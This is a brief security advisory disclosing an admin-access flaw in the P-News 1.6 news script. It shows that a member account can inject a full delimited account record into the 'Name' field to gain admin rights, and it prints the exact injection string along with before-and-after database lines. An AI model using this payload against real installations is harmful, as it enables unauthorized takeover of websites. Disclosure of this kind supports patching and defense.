Admin Access Vulnerability in P-News 1.6

Url: http://www.ppopn.net

It is possible to gain admin access if you possess a 'Member'
account due to a flaw in the 'p-news.php' file.
You can inject an entire arbitrary account, including all the fields, into 
the 'Name' field, which will push all the restricting details to the far end 
of the data string, not allowing them to be included in the login process.
Below is an example of a normal database:

Admin|-|21232f297a57a5a743894a0e4a801fc3|-|0|-|p-news-admin@ppopn.net|-|
Peter|-|179ad45c6ce2cb97cf1029e212046e81|-|2|-|peter@aol.com|-|

Notice the '0' denotes an 'admin' account, and the '2' denotes a 'member' 
account.
Injecting:

Peter|-|21232f297a57a5a743894a0e4a801fc3|-|0|-|none@nowhere.com|-|

Into the 'Name' field in the edit account information section will give the 
malicious user admin privileges.
The database then looks like:

Admin|-|21232f297a57a5a743894a0e4a801fc3|-|0|-|p-news-admin@ppopn.net|-|
Peter|-|21232f297a57a5a743894a0e4a801fc3|-|0|-|none@nowhere.com|-||-|179ad45c6ce2cb97cf1029e212046e81|-|2|-|peter@aol.com|-|
